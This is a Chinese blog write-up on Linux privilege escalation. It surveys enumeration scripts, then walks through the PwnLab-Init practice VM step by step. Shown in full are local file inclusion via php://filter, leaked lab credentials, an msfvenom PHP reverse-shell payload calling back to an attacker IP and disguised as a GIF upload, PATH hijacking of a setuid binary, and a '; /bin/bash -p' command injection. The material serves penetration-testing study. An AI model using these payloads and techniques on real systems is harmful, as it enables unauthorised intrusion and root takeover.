Linux提权总结

记录之前所写的东西

先来一张图吧。

前言

当拥有了一个shell,依然可能会有一些拒绝执行指令的限制,而为了获得目标主机的完整控制权限,则需要在未授权的地方绕过权限控制。

Metasploit 拥有各种不同技术的exploits,能用于目标机器上进行尝试获取系统级权限。除此之外,还有一些在linux下使用的脚本,方便在尝试提升权限的时候处理。通常它们的目的是枚举系统信息而不是给出具体的vulnerabilities/exploits,使用这种类型的脚本将会节省很多时间。

辅助脚本

LinEnum

可以列举系统设置并且高度总结的linux本地枚举和权限提升检测脚本

作用:

隐私访问:判断当前用户是否能够用空口令使用sudo命令,root用户的家目录能否访问。

系统信息:主机名,网络详情,当前IP等等。

用户信息:当前用户,列出所有包含uid/gid的用户信息,列出有root权限的用户,检查密码hash是否保存在/etc/passwd。

下载执行:

1
2
git clone https://github.com/rebootuser/LinEnum.git
./LinEnum.sh

得出的信息很详细

Linuxprivchecker

由python实现,用来对被控制的系统提供建议的exploits。

http://www.securitysift.com/download/linuxprivchecker.py

这个脚本会枚举文件和目录的权限和内容。
这个脚本和LinEnum工作方式一样,只是在关于系统网络和用户方面搜寻相比前者对象的详细。

Linux Exploit Suggester

基于操作系统的内核版本号。

它是一个不同于以上工具的Perl脚本。使用下列命令下载这个脚本。

1
git clone https://github.com/PenturaLabs/Linux_Exploit_Suggester.git

先使用uname -r来查看内核版本,再使用-k来制定内核版本,然后返回一个包含了可能exploits的列表。

Unix-Privesc-checker

在UNIX系统上检测权限提升向量的shell脚本。

用于寻找那些在未授权用户可以对其他用户或本地应用程序进行提升权限的错误配置。

因为这个脚本是编写的单个shell脚本,所以会比较容易上传和执行,可以被普通用户执行。
当它发现一个组可写(group-writable)的文件或目录时,而如果这个组包含了超过一个的非root成员,就会标记出来。

1
git clone https://github.com/pentestmonkey/unix-privesc-check.git

这个用起来有点诡异。

利用linux内核漏洞提权

本地环境:

利用低权限用户目录下可被Root权限用户调用的脚本提权

待续。。。。

利用环境变量劫持高权限程序提权

前戏

PwnLab-Init导入VM,在kali操作,使用Netdiscover工具扫描局域网中所有的主机

使用nmap扫描

发现开了80,3306端口,尝试访问
登录和上传页面,登录页面URL结构:/?page=login,看到这个结构,就应该想到是文件包含
当我需要知道用户名和密码,我们将使用Nikto的命令找出哪些是它们存储的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@RcoIl:~# nikto -h 192.168.1.122
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.122
+ Target Hostname: 192.168.1.122
+ Target Port: 80
+ Start Time: 2016-12-06 13:11:39 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/".
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Cookie PHPSESSID created without the httponly flag
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7535 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2016-12-06 13:11:39 (GMT8) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

正如你所看到18行的,/config.php是PHP配置文件,可能包含数据库ID和密码。现在知道文件名,可以使用curl命令来查找该文件中的数据。

使用php://filter/convert.base64-encode/resource=尝试读取index.php


不需要加.php,猜想结构如下

1
2
3
<?php if(isset($_GET['page'])){
include($_GET['page'].".php")
?>

事实上解密后发现结构就是这样。

读取config.php的内容如下:

1
2
3
4
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

连接数据库去找登录的账号密码
kent Sld6WHVCSkpOeQ== (JWzXuBJJNy)
mike U0lmZHNURW42SQ== (SIfdsTEn6I)
kane aVN2NVltMkdSbw== (iSv5Ym2GRo)

当然也可以读取login和upload,这样就知道结构是怎样的。既然要上传,那看看upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001'); //文件类型必须是image
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002'); //mime必须是图片类型的
}
if(substr_count($filetype, '/')>1){
die('Error 003');//检测文件类型
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');//检测imageinfo
}
}
}
?>

所以,php文件是不能直接上传的,图片上传命名是md5命名。

那我们就绕文件类型,文件内容。
直接用msfvenom来生成一个反弹脚本,然后进行尝试。

1
2
3
4
5
6
root@RcoIl:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.107 lort=4444 -f raw
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 949 bytes
/*<?php /**/ error_reporting(0); $ip = '192.168.1.107'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; eval($b); die();

添加个GIF的文件头,GIF98,文件后缀改为GIF,这样是可以上传的。

证明这个gif是我们的shell文件,但是不会解析为PHP。尝试了截断之类的都不行。既然有包含,这个可以通过创建包含图像路径的“lang”的cookie的LFI漏洞,抓包修改cookie为 lang=..//upload/df537fdc576e33db40f6f4295b2ea8a0.gif
设置监听。

正文

得到了一个Meterpreter会话,接下来就是常规的信息收集。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
meterpreter > sysinfo
Computer : pwnlab
OS : Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686
Meterpreter : php/linux
meterpreter > shell
Process 1325 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c "import pty; pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/var/www/html$ whoami
whoami
kane
kane@pwnlab:/var/www/html$

已经是一个正常用户的一个权限
在Kane的home目录下只有一个“msgmike.”文件,用file命令去查看。

1
2
3
4
5
6
7
8
9
kane@pwnlab:~$ ls
ls
msgmike
kane@pwnlab:~$ file msgmike
file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory

从上面回显可以看到,这是一个ELF 32位 LSB执行文件,但是当我们执行文件的时候,报错了。
通过报错信息我们可以看到msgmike调用cat命令读取/home/mike/msg.txt文件。显然cat的权限不够。
针对这种情况,我们可以通过设置bash的$path环境变量来利用,通常的$PATH包含

1
2
3
4
5
kane@pwnlab:~$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ touch cat
touch cat

然而当调用cat命令的时候,cat会从以上目录来存在,如果我们添加$PATH环境变量,则会先从当前目录来寻找cat指令
新建cat,添加执行权限

1
2
3
4
5
6
7
8
9
10
11
kane@pwnlab:~$ touch cat
touch cat
kane@pwnlab:~$ export PATH=.
export PATH=.
kane@pwnlab:~$ echo $PATH
echo $PATH
.
kane@pwnlab:~$ echo "/bin/sh" >cat
echo "/bin/sh" >cat
kane@pwnlab:~$ /bin/chmod 755 cat
/bin/chmod 755 cat

这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),从而提权。完整的exploit如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kane@pwnlab:~$ ./msgmike
./msgmike
$ whoami
whoami
/bin/sh: 1: whoami: not found
$ /usr/bin/whoami
/usr/bin/whoami
mike
$ pwd
pwd
/home/mike
$ ./msg2root
./msg2root
Message for root: ; /bin/bash -p
; /bin/bash -p
bash-4.3#id
id
uid=1002(mike) gid=1002(mike) euid=0(root) groups=0(root),1003(kane)

看完这篇文章,总会有三个疑问:
1、为什么可以使用
php://filter/convert.base64-encode/resource=
2、在限制了上传类型,上传内容,为什么可以通过cookie进行包含
3、提权的时候 ; /bin/bash -p这个是什么意思

其实带着问题去查资料是最好的,要不然是知其然不知其所以然!
参考链接:
文件包含漏洞
谈一谈php://filter的妙用

!坚持技术分享,您的支持将鼓励我继续创作!